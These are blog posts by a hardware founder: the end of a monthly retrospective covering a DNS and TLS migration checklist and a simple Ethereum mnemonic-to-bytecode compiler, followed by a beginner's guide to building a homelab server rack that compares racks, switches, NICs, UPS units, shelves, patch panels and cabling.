I left the LightSail version up for another week and then deleted it when I confirmed it wasn’t receiving traffic anymore.

A general strategy for migrating services between hosts

Note: This is probably not the optimal strategy for migrating services. I suspect that there are better practices for minimizing certificate errors, but this is better than what I was doing before.

Next time I have to move a service between hosts, I’m going to follow the process that I learned this month.

As a general example, imagine that you’re moving a service that you host at the URL example.com from platform A to platform B.

Preparation day

A day or two before you plan to migrate, perform these steps:

Deploy your service to platform B.
Create a certificate for your service on platform B under a subdomain.
- This is usually under an “add a custom domain” setting on your hosting platform.
- Choose a subdomain that won’t weird out your customers too much if they see it, like www2.example.com or web.example.com.
- Don’t choose a subdomain that looks scary to end-users, like insecure-staging.example.com.
Add DNS entries for the new subdomain pointing to platform B.
Make sure you can visit platform B through your new subdomain with no TLS errors in your browser.
Reduce the TTL on the production example.com DNS entries to something low, like 1-5 minutes.
Generate a certificate for the production example.com domain on platform B.

Migration day

On the day of the migration, perform these steps.

Choose time when traffic is low.
- If you might need support from your teammates, make sure they’re available and aware of the migration.
Update DNS entries for example.com to point to platform B instead of platform A.
Check that you can still access your service through the main example.com URL.

If you see TLS errors for platform A when visiting your service after the DNS changes:

As a temporary workaround, configure platform A to redirect traffic to the staging subdomain you set up on preparation day.
Use dig to check when the DNS record expires from your local computer’s perspective, and see if the TLS error goes away after the DNS entry expires.

Decommissioning the old server

Wait at least 24 hours after the migration, and then perform these steps:

Verify that traffic to platform A has stopped.
Decommission your server on platform A.
Verify that your service is still accessible without platform A.
Restore the TTL on your production DNS entries to something sensible, like 60 minutes.
Remove the staging subdomain from your DNS entries.

Side projects

Writing a simple compiler

To learn more about Zig, interpreters, and Ethereum, I’ve been working for the past few months on a Zig implementation of the Ethereum virtual machine called eth-zvm.

I’d written performance benchmarks for eth-zvm, but the programs they executed were just chunks of Ethereum bytecode, like this:

60016000526001601ff3

That bytecode is difficult to edit. When I wanted to modify my tests, I had to decompile the bytecode to something human-readable, make my changes, then recompile everything back to raw bytes.

Ethereum has a human-readable representation of bytecode called mnemonic format, so the mnemonic equivalent of the bytecode above looks like this:

PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN

It’s still low-level, but it’s easier to understand than raw bytes.

I wanted to store my tests in mnemonic format rather than bytecode. I looked for a mnemonic to bytecode compiler, but I couldn’t find anything that worked out of the box on the command-line.

It seemed like an easy enough task, so I decided to write my own mnemonic to bytecode compiler.

As far as compilers go, mine is about as simple as it gets. There’s almost a perfect 1:1 mapping of every possible input token and every byte of output.

Here’s a very simple program:

$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3

The opcode value for RETURN is 0xf3, so the output bytecode is just f3.

It gets a bit more complicated when an opcode has an argument, like PUSH1, which pushes a single byte onto the stack:

$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042

I can also use PUSH32, which pushes a 32-byte value onto the stack:

$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042

I implemented support for inline comments, so here’s my example application from above, but with comments:

$ tempfile="$(mktemp)" && \
 cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE

// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF

$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3

I now store eth-zvm’s benchmark examples in human-readable mnemonic format and compile them to bytecode on-demand to run the benchmarks.

It was fun to write a compiler, even a simple one. My compiler currently accepts code that’s semantically incorrect like PUSH1 RETURN, but it’s good enough for my purposes. The project continues to be a fun way to teach myself about how programming languages work at a deeper level.

Wrap up

What got done?

Locked down access to TinyPilot’s production secrets.
Published “Why does an extraneous build step make my Zig app 10x faster?”
Published “Building My First Homelab Server Rack.”
Consolidated TinyPilot’s hosting to Fly.io and Netlify.
Delegated our RMA process to a third-party vendor.

Lessons learned

Storing secrets in CI environment variables is good, but the more team members you have, the more you should restrict access.
Use a rigorous approach when migrating services between platforms.
- Choose a time of day when you won’t disrupt business but have time to recover from mistakes.
- Dial down DNS TTL at least a day before the migration.
- Prepare new TLS certificates in advance of the migration.
- Choose a staging subdomain name that you can tolerate end-users seeing if things go awry.

Goals for next month

Begin conversations with three new potential TinyPilot distributors or sales channels.
Oversee development of two new TinyPilot software features.
Coordinate with manufacturer on production planning for the rest of 2024.

Building My First Homelab Server Rack

Fri, 05 Apr 2024 00:00:00 +0000

Seven years ago, I built my first home server. It made my software development work faster and more enjoyable, so I’ve gotten more into the home server scene. I built a custom storage server, another development server, and a dedicated firewall.

At some point, my wife gently observed that my office was filling with unsightly wires. “What?” I asked. “This is a normal amount of wires.” But then I looked around and realized it was kind of a lot of wires…

My office, upon closer inspection, kind of had a lot of wires

A lot of home server enthusiasts buy server racks, but I never thought of myself as a rack guy. I wasn’t so into servers that I needed a whole rack; I just had a VM server here, a data server there. Maybe a few switches scattered around. Buying a rack meant admitting that I wasn’t just a casual home server guy but an intense homelab weirdo.

One day, I gave in and bought a rack, and I’m better for it. It makes my servers more pleasant to work with and eliminates my sprawling mess of wires.

I don’t want your life story — just show me the rack

If you want to skip the explanations and jump to my rack, see my final setup below.

What’s a homelab?
Why build a server rack at home?
Why this guide?
Choosing a rack
Choosing a network switch
Choosing 10G NICs
Choosing a UPS (battery backup)
Choosing a power strip
Choosing rack shelves
Choosing a patch panel
Choosing a Raspberry Pi rack mount
Choosing Ethernet cables
Choosing fiber cables
What I already had
How do I arrange components in a rack?
My final rack setup
Next steps in my rack
Avoiding mistakes I made
My life with a rack

What’s a homelab?

“Homelab” is a colloquial term that’s grown in popularity over the last decade.

A homelab is a place in your home where you can experiment with IT hardware and software that you’d typically find in an office or a data center. You can use it as a practice environment for new professional skills or as a place to play with cool technology.

Why build a server rack at home?

If you’ve never worked with servers, you might wonder why anyone would keep a bunch of them in their house, much less build a little shrine for them.

Everyone has their own reasons for getting into homelab, but here are mine:

Software development: I use a dedicated server for virtual machines, so rebooting or upgrading my main workstation doesn’t affect what’s running on my server. It’s easy for me to spin up new experimental VMs that don’t affect my other projects.
Storage: It’s more convenient to have a huge amount of storage that all of my devices share rather than buying large hard drives for each device and scattering my data everywhere. The storage server uses ZFS, which reduces the risk of data loss, even when a hard drive dies.
Networking: Building my own router with open-source software gives me more control over my network and saves me from the buggy software that lives on most consumer-grade routers.

Why this guide?

By a beginner for beginners

Even though I’ve been experimenting with homelab for the past few years, this was my first time building a server rack, so this is a beginner-level guide.

Every other article I’ve read about server racks reads like someone explaining their 20th rack. They don’t explain how they chose components or why they rejected alternatives. They’ve been doing it for so long that their decisions are unconscious.

Because this is my first time building a server rack, I’m free from the curse of knowledge. I’m walking you through how I approached this process for the first time.

No conflict of interest

I’m not getting paid by anyone or receiving free products to write this post. I have no advertisers to satisfy or partnerships to maintain.

The uncomfortable truth about most homelab blogs is that they’re funded by affiliate links. This means the author receives a commission when their readers purchase products through links in the article.

Authors can still provide valuable information while using affiliate links, and some of the best homelab bloggers fund their work that way. Nevertheless, affiliate links create a conflict of interest between the author and their readers. If merchants pay the author a percentage commission to link to their products, it incentivizes the author to recommend expensive products and subpar merchants.

I’m not claiming to be pure of heart or denouncing anyone who writes for money, but my incentives are more aligned with my readers’. I write my blog out of vanity — I like when people tell me that they find my posts interesting or useful. Writing out my thought process also helps me improve my approach and elicits useful feedback from readers.

My rack does contain a TinyPilot, a hardware device that I created, but it doesn’t affect my other choices. I’ll disclose my relationship with TinyPilot whenever I mention it.

Choosing a rack

If you’re building a server rack, it seems like the first thing you’d choose is the rack itself. It’s not that simple.

Selecting your rack is an iterative process. You can’t decide what type of rack to buy until you know what components your rack will hold. But knowing what type of racks are available also informs what components to buy.

Here’s the process I followed to pick a server rack:

Browse racks casually to get a high-level view of pricing, features, and size options.
Make a rough list of components I want for my rack.
Calculate how much rack height and depth I’ll need for those components.
Narrow the list of racks that meet my needs.
Repeat steps 2-4 until I’ve made a final decision.

How many rack units?

Racks have capacity measured in rack units (RUs). 1 rack unit is 1.75". You typically see racks sized as a number followed by a U, so an 8U rack would have eight RUs or 8 x 1.75" = 14" of height for components.

Server racks are sized in rack units where each rack unit is 1.75".

If a component is designed to mount in a rack, its height will be some multiple of a rack unit. Most network switches are 1U, battery backups are usually 2U, and servers are typically 2U.

You don’t want to buy too short a rack and run out of room for your components, but you also don’t want an enormous rack that occupies more vertical space than you’d ever use.

As you pick components, add up how many rack units they’ll need. Leave some extra buffer based on how much you want to expand your rack in the next few years.

How deep does it need to be?

Server racks vary in depth. Most server racks are designed for enterprise-grade servers, which are up to 50" long.

At work, my office has an HP ProLiant DL380 G7 server, and it’s a huge hassle. It’s 29" long and weighs 50 lbs. It was a pain to mount and will be a pain when I sell it.

I have a relatively small home office, and I didn’t want the rack server to dominate the space. For my home rack, I decided to limit myself to components that are shallow enough to only need front mounts.

I looked for racks that were at least 19" in depth. That gave me enough depth to mount rack shelves and front-mounted server chassis without taking up a lot of extra space.

Does it need four posts or two?

Racks come in two different styles: two-post or four-post. On four-post racks, you can mount components to both the front and the back.

If you plan to buy long, heavy servers, you definitely need to secure them from both ends. If you want to minimize space, a two-post rack might be sufficient.

I only wanted front-mounting components, so I could have gotten away with two posts, but four posts felt a bit sturdier, so I figured why not.

Does it need wheels?

Some server racks have wheels that move the entire structure around. Wheels were a critical feature for me, as I wanted to clean behind the rack easily.

Candidates

StarTech is a popular brand for server racks. They have a good reputation and a decent website, so I chose between different StarTech racks.

Brand	Model	Min Depth	Posts	Wheels	Height	Price
StarTech	4POSTRACK18U	22"	4	Yes	18U	$316
StarTech	4POSTRACK15U	22"	4	Yes	15U	$301
StarTech	2POSTRACK16	12"	2	No	16U	$165

15U seemed like it would be enough, but the cost of 18U was so close that I figured I might as well get the extra 3U of space.

Review: StarTech 4POSTRACK18U 18U rack

Grade: A

This rack is working out well. It feels sturdy, and the wheels make it easy to move around.

Assembly was straightforward. From start to finish, it took me about two and a half hours. One minor complaint is that none of the parts are labeled, but I could match them to the instructions based on shape.

The rack is depth-adjustable, and I chose the shallowest depth: 22". The rack does have a design flaw in that the shortest depth makes some screw holes inaccessible. I worked around this by expanding the depth, screwing in the spots that are unreachable at shallow depth, then adjusting the depth back down.

Choosing a network switch

The networking switch ended up being the hardest decision of my whole rack.

Network switches get expensive fast, so I didn’t want to spend $300 on something only to have to supplement it with another component or replace it later on.

What speed do you need?

Unless you’re buying something very exotic, the speeds available for a rack-mounted switch are:

1 Gbps
2.5 Gbps
10 Gbps

I’ve had 1 Gbps Ethernet speed in my house for the past 10+ years, and that’s been fine. I do most of my work online, so the bottleneck was almost always my ISP rather than my home network.

Lately, I’ve been finding that the bottleneck on my home storage server is my 1 Gbps switch, so I’ve been interested in a network upgrade.

Given that I’ve been satisfied with 1 Gbps, I thought 10 Gbps would be an unnecessarily large jump. But the more I read about 2.5 Gbps hardware, the more complaints I saw that it’s flaky and unreliable. The consensus seems to be that it’s just as hard to level up to 10 Gbps as 2.5 Gbps, so you might as well go for 10 Gbps.

I did run into headaches, but I’ll cover that more below.

Gotcha: If you see a 10 Gbps switch, check how many ports support 10 Gbps. Often, a 10 Gbps switch will only offer 10 Gbps speeds on a subset of ports, and the rest will be 1 Gbps.

Managed or unmanaged network switch?

There are two kinds of network switches: managed and unmanaged.

Managed switches allow you to configure rules and settings for your switch. The most common reason you’d want a managed switch is to create virtual networks (VLANs) to increase security on your network.
Unmanaged switches offer no configuration. They’re just dumb boxes that route network traffic. Any host connected to the switch can send network traffic to any other port on the switch.

I wanted a plain old unmanaged switch. I’ve never used a managed switch, and I didn’t want extra configuration to manage.

It turned out that none of the network switches that met my criteria were unmanaged, so I went with a managed switch. Once I got my managed switch, I found that it was pretty fun to have VLANs for different devices on my network. Now, I want to configure VLANs for everything!

PoE or standard Ethernet?

Certain low-power devices can run entirely from the power they draw from the Ethernet cable. This is called power over Ethernet (PoE).

For example, my home WiFi access point, the Ruckus R310, supports PoE, so it only needs a single Ethernet cable for power and network connectivity.

My Ruckus R310 WiFi access point supports PoE, so it only needs a single Ethernet cable for power and data.

To use PoE devices, you need a PoE-enabled networking switch.

The downside of PoE switches is that they consume more power and are more expensive. If you buy a PoE switch but have no PoE devices, non-PoE devices will still work, but you’re wasting money and power on unnecessary features.

How many ports do you need?

Obviously, your switch needs at least as many ports as you have wired networking devices.

The harder question is figuring out how many extra ports to buy beyond your current needs. The answer depends on your plans for growing your homelab in the next few years.

You can buy additional switches later, but if you’re buying an expensive switch, you don’t want to replace the entire thing in a couple of years. And you don’t want to lose another 1U of rack real estate to an additional switch when you could have bought a single switch with more ports.

I currently have eight devices with Ethernet ports, so I looked for switches with at least 16 ports.

Candidates

Brand	Model	Ports	Speed	Managed	PoE	Price
TP-Link	TL-SG3428X	24	4x10Gbps 24x1Gbps	Yes	No	$299.00
Microtik	CRS328-24P-4S+RM	28	4x10 Gbps SFP+ 24x1Gbps	Yes	Yes	$490.50
TP-Link	Unnamed Chinese Model	18	2x10 Gbps SFP+ 16 x 2.5 Gbps	No	No	$499.90
TP-Link	T1600G-28TS	24	4x10 Gbps SFP 24x1Gbps	Yes	No	$299.00
TP-Link	T1600G-28PS	24	4x10 Gbps SFP 24x1Gbps	Yes	Yes	$295.99
TP-Link	T1700G-28TQ	24	4x10 Gbps SFP 24x1Gbps	Yes	No	$958.40

I’ve tried Microtik in the past, and I want to like them. They’re a small, independent hardware company. Some people love their weird 90s-style UI, but I found it confusing and difficult to navigate.

I want to like Microtik, but I can’t get over their weird 90s-style admin UI

I’ve had great experience with unmanaged TP-Link switches, so I felt good about the brand.

I almost went with a 16 x 2.5 Gbps port TP-Link unit, but it’s only available from China, and it doesn’t seem to have any US safety or compliance certification. I decided not to risk it.

I considered the TP-Link T1600G-28PS, which had everything I liked about the TL-SG3428X, except it also had PoE. But I read several reviews that said the fans are loud, and I didn’t want a noisy switch. I went with the TL-SG3428X and figured I could get a cheaper, silent unmanaged PoE switch, as I didn’t need 24 PoE ports.

Review: TP-Link TL-SG3428X

Grade: B-

Overall, I like the TP-Link TL-SG3428X switch pretty well. It’s silent, which is a big plus. I haven’t had any issues with reliability. My experience with the TP-Link web admin UI has been poor, but that’s about standard for networking hardware.

It took me a long time to figure out how to configure VLANs. I’ve seen how other brands like QNAP represent VLAN controls, and I think they did a much better job than TP-Link.

This page in the TP-Link web UI shows which ports are members of the Guest VLAN, but it always takes me a few minutes to remember how to interpret the screen.

Review: Netgear GS116LP 16-Port unmanaged PoE switch

Grade: A

I only have a handful of PoE devices, so I originally planned to power them with a small 5-port PoE switch on a shelf. Late last year, I began prepping my work office for our move-out, and I decided to adopt the Netgear GS116LP switch from there.

As an unmanaged switch, it does what I need. It powers my devices, it was easy to install, and it’s silent.

In retrospect, I should have tried harder to find one managed switch with PoE ports instead of having two separate switches. I’ll elaborate more below.

Choosing 10G NICs

If you choose a 10 Gbps switch, your work isn’t over. To achieve 10 Gbps speeds, you need a 10G network interface controller (NIC) for each device you want to run at 10 Gbps speeds. A regular 1 Gbps NIC will still work with a 10 Gbps switch, but it will be limited to 1 Gbps Ethernet.

I had a lot of trouble finding 10G NICs for my systems. First, the market for 10G NICs is almost entirely enterprise-grade data centers, so they cost nearly $1k each. I was able to find used NICs for under $100, but I had to scour forum posts for reports of buying different NICs used.

I got a 10G NIC working on my Windows desktop after a bit of tinkering, but I tested three different NICs on my TrueNAS storage server, and I couldn’t get any of them to work.

Mellanox ConnextX-3 CX311A
- On my Windows desktop, the activity lights didn’t flash, and Windows didn’t recognize anything in the PCI slot.
- I found a forum post where someone mentioned that switching to another PCI slot on their motherboard solved the problem. I was skeptical, but that fixed it.
- My TrueNAS server couldn’t recognize it at all.
Chelsio T520-LL-CR
- Chelsio is one of the most common brands for TrueNAS servers, and Serve the Home listed it as a recommended option.
- My TrueNAS server couldn’t recognize it.
Chelsio Dual Port T520-CR
- My TrueNAS server couldn’t recognize this one, either.

My best guess is that the motherboard on my TrueNAS server has limited compatibility. It’s a consumer-grade ASUS motherboard, so it may not support these enterprise-oriented 10G NICs.

I plan to build a new storage server in the next few months, so I’ll try a fancier motherboard to see if that lets me use one of the three spare 10G NICs I’ve now accrued.

Currently, the only 10 Gbps link in my network is between my Windows desktop and my managed switch. If I need to click a checkbox on TP-Link’s crummy web UI, I can do it at blazing 10 Gbps speeds.

Choosing a UPS (battery backup)

When I lived in Manhattan, I’d experience around five power outages per year. They were all brief, but they were long enough to power cycle my computer and lose my work.

To avoid surprise shutdowns, I bought a battery backup system, also known as an uninterruptible power supply (UPS). It was an APC BR1500G, and I’ve used that same battery backup for six years.

For short power outages, the battery saves me from any downtime. For extended outages, the battery gives me enough time to shut down my systems to avoid data loss.

The downside of the battery backup is that it added a lot of cabling to my office. My desktop, servers, and router were all in different corners of my office, so I had to run bulky, unsightly power cables everywhere.

How much time do you need for a graceful shutdown?

For extended power outages, you’ll need enough time to shut down your systems before they exhaust your UPS’ battery. The amount of time you need depends on the size of your UPS’ battery and the power draw of the systems attached to it.

I theoretically could have used my Kill A Watt power meter to measure the wattage of each of my devices during typical operation and then used that to find a battery. I was too lazy for that level of rigor, so I estimated based on metrics from my previous UPS.

My APC UPS had an 865 W battery, and it reported 12 minutes of battery life while powering a desktop computer, a VM server, a storage server, a firewall, and a networking switch, so I thought 800 W would be a good minimum for the battery.

Does it need to send alerts?

After I set up my rack, a co-worker mentioned that most modern UPS systems can send alerts to devices on the local network to tell them to shut down gracefully.

For me, automating shutdowns from my UPS isn’t worth the trouble, but you might choose differently if your systems are more sensitive to hard power cuts or if you’re in an area where power outages are more frequent.

Candidates

Brand	Model	Power	Outlets	Price
CyberPower	CP1500PFCRM2U	1000 W	8	$335
Tripp Lite	SMART1500LCD	900 W	8	$298
CyberPower	CPS1500AVR	950 W	8	$460

Review: CyberPower CP1500PFCRM2U

Grade: A

The CyberPower LCD is user-friendly and has useful metrics about power consumption. You can also turn the display off to have fewer flashing lights on your rack.

The UPS reports 30 minutes of battery life while powering a VM server, a storage server, a firewall, and a networking switch. The total power draw of all these systems in a typical workload is 200 W.

CyberPower offers PowerPanel Business, a free management tool for controlling the UPS. To use it, you need to connect a computer to the UPS via a USB cable. It’s the kind of thing a Raspberry Pi would be great for, but CyberPower sadly doesn’t offer a way to install PowerPanel on ARM systems.

I rate CyberPower’s UPS management software as "okay."

I played with PowerPanel for a few minutes, and I thought it was okay but unnecessary. The quality is what you’d expect from closed-source, vendor-specific hardware management software. The physical controls on the UPS are good enough for me.

PowerPanel can run custom scripts when the UPS loses power, so I could theoretically automate shutdowns of the devices in my rack, but it’s not worth the trouble in my environment.

Update (2024-04-07): A few readers have recommended the Network UPS Tools (NUT) project, the open-source alternative to proprietary UPS vendor software. I haven’t tested it yet, but it looks interesting.

Another plus is that the UPS is silent, which I thought was a given for battery backups, but it turns out it’s not…

Review: Tripp Lite SMART1500LCD

Grade: D

The first UPS I purchased for my rack was the Tripp Lite SMART1500LCD, but it was incredibly noisy.

I didn’t even realize battery backups could be noisy. My APC UPS is silent except when it loses power and fails over to the battery.

Not only was the Tripp Lite UPS the loudest thing in my rack, it was the loudest thing in my whole house. It was like constantly having a hair dryer running in my office. My wife could hear it from her office a floor away.

Did I just get a defective unit? Surely, a UPS can’t be designed to be this loud all the time, right?

I reached out to Tripp Lite customer support with a video of the UPS making noise. They said that it was working as intended.

I tried to get used to the noise, but it was so distracting that I gave up after day two.

To my surprise, Newegg’s return policy for the UPS was “replacement only.” I’d always had an easy return experience with Newegg so I didn’t even think to check the return policy beforehand, but I guess they’re more strict about these 29 lb units.

Fortunately, I asked Newegg customer service nicely for a refund, and they granted it, which is another reason I keep coming back to Newegg.

Choosing a power strip

Even though my rack has a UPS with many power outlets, I find it useful to have a simple power strip as well.

Some of the components in my rack are non-essential and don’t need to stay online during a power outage.

For example, I keep a little IoT device in my rack that monitors the performance of my solar panels. That device is totally extraneous, so I’m fine if it goes offline during a power failure. In fact, I prefer it to go offline because I don’t want to squander limited battery capacity on a solar monitor.

Candidates

Power strips are, frankly, not so exciting, so I didn’t shop around very much. I just looked at two.

Brand	Model	Outlets	Price
Tripp Lite	RS-1215-RA	12	$78
CyberPower	CPS1215RMS	12	$60

Review: Tripp Lite RS-1215-RA

Grade: B+

This power strip has worked well. The rear outlets have wide enough spacing that brick-style power plugs don’t block adjacent outlets.

Nothing in my rack plugs into the front outlets, but I occasionally find them useful when I have a device I want to test for a few hours.

Review: CyberPower CPS1215RMS

Grade: C

I bought this power strip a few years ago for the rack at my work office. My main issue is that the outlets are too close together. A lot of the things I plug in at the office have wide power bricks, so they cover two outlets.

Choosing rack shelves

I already had a few existing components from my pre-rack life that I planned to bring into my rack, so I needed at least 2U of rack shelves for those components.

Candidates

Brand	Model	Price
Pyle	PLRSTN62U 19" 2U	$64 for two
StarTech	CABSHELFV 2U 16"	$88 for two

Review: Pyle PLRSTN62U rack shelves

Grade: A

I had never heard of Pyle as a brand, but I found these shelves online, and they’ve worked out well.

I keep non-mountable components on two 2U Pyle rack shelves.

They’re easy to install, decently priced, and they have a lip that prevents components from sliding off the shelf.

Review: StarTech CABSHELFV 2U rack shelves

Grade: D

I originally purchased the StarTech shelves because StarTech has such a good reputation in the server world.

When I installed them into my rack, I thought I must be misunderstanding how they work. They have a bottom lip that bends downward into the next rack slot.

StarTech shelves have a downward-facing lip that messes up the rest of the rack layout.

This downward lip forces you to either allocate 3U to each of your 2U shelves or shift everything down by 0.5U.

I couldn’t even figure out a purpose for the lip. It would make sense if it curved up because that would protect items on the shelf from slipping off, but why bend down? ~~It didn’t look like it provided any structural support to the shelf, either.~~

Update (2024-04-09): Several helpful readers have pointed out that this lip does indeed improve the shelf’s structural integrity by preventing bends toward the middle of the shelf.

I scoured reviews to see if anyone else was talking about this shelf’s bizarre design choice. When other reviewers mentioned it, they didn’t seem to mind. The comments had the tone of, “Oh, yeah, it extends past 2U a bit. Whatevs.”

Reviewer acknowledges that StarTech’s 2U rack shelf takes up 3U of space, still rates it 4 out of 5.

I’m baffled that anyone would accept a 2U shelf that takes up 3U of space. I promptly returned mine and bought the Pyle shelves instead.

Choosing a patch panel

From reading homelab blogs over the years, I noticed a lot of other homelabbers integrating a patch panel into their racks.

When it finally came time to build my server rack, I had to ask the question that had been on my mind for ages.

What the heck is a patch panel?

Shopping around for patch panels made me even more confused. It’s just a row of empty spaces? What’s the point?

The concept didn’t click for me until I built my rack. In short, the patch panel keeps the clutter of your networking cables behind your rack rather than in front of it.

Patch panels keep the front of your rack clean by routing network cables to the rear of the rack.

Tip: I recommend having a patch panel adjacent to every switch in your rack.

Candidates

Brand	Model	Price
NewYork Cables	24-Port 1U	$19
Tripp Lite	16-Port 1U	$13

Review: NewYork Cables 24-Port 1U Patch Panel

Grade: B+

At the end of the day, a patch panel is just some metal and plastic, so there’s not much to do well or poorly. But the NewYork model feels sturdy and installs into the rack well.

One of the reasons I chose the NewYork brand patch panel was that I saw reviews mention a rear bar that helps support Ethernet cables. In my rack, the rear bar doesn’t do anything. It’s too close to the Ethernet ports to provide support, and they don’t seem to need it anyway.

I thought the rear bar of the patch panel would help support my Ethernet cables, but they turned out not to need it.

My one complaint is with the port labels. They’re slips of paper under plastic, like a landline phone would have for speed dial in the 90s. Other patch panels have little whiteboard strips for easy erasing, and I prefer that style to strips of paper.

The labels on the NewYork patch panel are like the little speed dial labels that landline phones had in the 90s.

Review: Tripp Lite 16-port 1U Patch Panel

Grade: A

As with the NewYork cables patch panel, the Tripp Lite model is fine, but there’s not much to get excited about with patch panels.

I like that the labels are tiny whiteboards. I had whiteboard markers on hand, but they were too big to write in such tight spaces, so I bought ultra fine-tip whiteboard markers, and those worked well.

The Tripp Lite patch panel features tiny labels you can write on with ultra fine-tip whiteboard markers.

Choosing a Raspberry Pi rack mount

I do a lot of professional and hobby projects with the Raspberry Pi, a small, inexpensive single-board computer.

I’d seen rack mounts for the Raspberry Pi, so I thought it would be fun to add one to my rack. I didn’t feel like shopping around for Pi racks, so I just bought the first one that looked decent.

Brand	Model	Price
UCTRONICS	Ultimate Rack with PoE Functionality	$190

Review: UCTRONICS Ultimate Rack

Grade: C+

The rack mount is okay, not great.

It’s a decent value for the price. PoE HATs for a Raspberry Pi 4 are generally around $20, so getting four PoE HATs is already an $80 value. And then you’re also getting the rack mount itself, four microSD extenders, four HDMI extenders, four OLED screens, and four fans.

The craftsmanship on the rack mount itself is mediocre. The pieces don’t fit together that well. There are noticeable gaps around the HDMI and microSD ports.

The UCTRONICS Pi rack mount had significant gaps around the HDMI and microSD ports.

The HDMI ports are also secured poorly to the mount. When I plug in an HDMI cable, the connector bends and strains. I worry they’re going to snap off one day.

PoE generates extra heat, so it’s good that these come with an integrated fan, but they create a constant high-pitch whirring. I keep all the fans powered off. The Pi could overheat without the fan, but it just means the CPU throttles or shuts down, which isn’t a big deal for my hobby projects.

The instructions are terrible. Step one is to screw in the OLED. Okay, that’s fine. Step two is to screw in the power button. Sure, easy peasy. Step three is to put together the five remaining components simultaneously.

The UCTRONICS Pi rack mount instructions rapidly increase in difficulty.

Choosing Ethernet cables

If you’re converting an existing setup to a server rack, you’ll likely need new Ethernet cables. For a patch panel, remember to buy short (6-12") cables (sometimes called “patch cables”) to connect the patch panel to your switch.

You’ll likely need a mix of different patch cable lengths. For example, on my rack, port 16 on my switch is just 1.5" from port 16 on my patch panel, but port 1 on my switch is 6" from its corresponding patch panel port.

Consider that the distance between ports on your switch and patch panel may vary depending on the port layout of each component.

I bought 6", 12", and 3’ Ethernet cables at a ratio of about 5:2:1.

Some people are creative and buy different colors to represent different functionality. I’m boring and just stuck with blue and black Ethernet cables because they look standard and proper to me.

Choosing fiber cables

Twisted pair, DAC, or fiber?

If you’re building a 1 Gbps network, you can buy regular twisted-pair Ethernet cables with RJ45 connectors and call it a day.

Most networks use simple twisted-pair Ethernet cables with RJ45 connectors.

If you go above 1 Gbps speeds, you have to choose between twisted pair and fiber cables.

With twisted-pair Ethernet cables, it’s simple. If you’re building a network with twisted pair Ethernet ports, buy networking devices with RJ45 ports, and use standard twisted-pair Ethernet cables everywhere. Easy peasy!

With fiber, cabling is more complicated.

A fiber networking device will have an SFP or SFP+ port, but there’s no such thing as an SFP or SFP+ cable. You need to convert SFP/SFP+ to something else.

My network switch and 10G NICs all had SFP+ ports, so I knew the connections had to start and end with SFP+. That meant my connection would look like:

SFP+ port on my network switch
SFP+ to something transceiver
something cable
SFP+ to something transceiver
SFP+ port on my 10G NIC

I’d need to convert SFP+ to something else to connect the two ends. The options were:

RJ45 (Twisted pair)
LC (Fiber)
DAC (Copper)

The connection had to run through my patch panel. I found patch keys for Ethernet and fiber but nothing for DAC. I’m still unsure if DAC fiber keys don’t exist or if there’s some other way I’m missing to run them through a patch panel.

That reduced my options to just to just RJ45 or LC.

Twisted pair vs. fiber

I couldn’t find many practical differences between RJ45 and LC. LC is thinner, so I find it a bit more visually appealing, but it means a different type of cable than all my other components, which are twisted pair.

I was surprised at the difference in pricing between twisted pair and fiber. SFP+ to RJ45 transceivers were significantly more expensive than SFP+ to fiber, but twisted pair cables are cheaper than fiber cables.

When I priced everything out, cost was significantly lower for fiber:

Component	Twisted pair price	Fiber price
Three transceivers (for my switch, desktop, and storage server)	$150	$60
One 16’ cable (desktop to switch)	$9	$15
One 3’ cable (storage server to switch)	$7	$10
Two 7" patch cables	$0*	$30
Four patch keys	$0*	$19
Total	$163	$134

* These effectively would cost no extra money because I had to buy these for the rest of the ports in my switch.

Gotcha: If you use fiber, make sure that your cables and transceivers have compatible “modes.” You can’t mix single mode fiber cables with multimode cables or transceivers. I recommend building a multimode system, as it supports 10 Gbps speeds and is significantly less expensive than single mode.

I’ve included all the cables I purchased below.

What I already had

Router: Qotom Q355G4 with OPNsense

My home router is a cheap Qotom Q355G4 unit running OPNsense. It doesn’t have rack mounts, so now it lives on its own dedicated rack shelf.

My OPNsense firewall running on Qotom Q355G4 mini PC

WiFi access point: Ruckus R310

My access point doesn’t technically live in my rack, but it plugs in to my PoE switch. It’s a nice access point, and it allows me to create multiple WiFi networks with different VLAN tags, so my guest WiFi has Internet access but can’t reach any of my other devices.

My Ruckus R310 WiFi access point

Out-of-band management: TinyPilot Voyager 2a PoE

Full disclosure: TinyPilot is a product I created and now sell.

I generally connect to components in my rack over SSH or web interfaces. When I reinstall an OS, change boot settings, or fix network settings, I need control at the physical level.

Instead of having to drag a keyboard and monitor over to my rack, I can plug in my TinyPilot Voyager 2a when I need hardware-level access:

I use TinyPilot to get physical-level access to my homelab servers through the browser.

Software testing: Dell Optiplex 7040 mini PC

For development work on TinyPilot, I often test new software features by remotely controlling a real device. This Dell mini PC is a handy test device because I can frequently reboot it or blow away the OS without disrupting any other work.

How do I arrange components in a rack?

Once I selected my rack components, the next step was figuring out how to lay everything out. I couldn’t find established best practices for arranging components, so I just reasoned out what made sense to me.

To plan the layout, I used a spreadsheet and color-coded it. This was also helpful in thinking about what size rack to purchase.

I considered different rack layouts by just swapping elements in a spreadsheet.

Place heavy components on the bottom of your rack

There was one rule everyone seemed to agree on: mount the heaviest components on the bottom.

The rack has a lot of expensive equipment. You don’t want it to fall over and damage things or, worse, injure someone. So, you want it to have a low center of gravity to maximize stability.

The heaviest component in my rack, by far, is the UPS, weighing in at a whopping 27 lbs.

Patch panels weigh almost nothing, and networking switches are fairly light as well. For this reason, most server racks keep these components in the top two slots of the rack.

Keep components with front-facing connections close together

It wasn’t obvious until I built my server, but it’s important to cluster components that connect through front-facing ports. For example, my patch panel and networking switch go in adjacent rack slots, because I’d otherwise have Ethernet cables stretched over other components in the rack.

Rear cables don’t matter so much

Some of the guidance I read said to arrange components so that you can minimize the length of your power cables. I didn’t see the point.

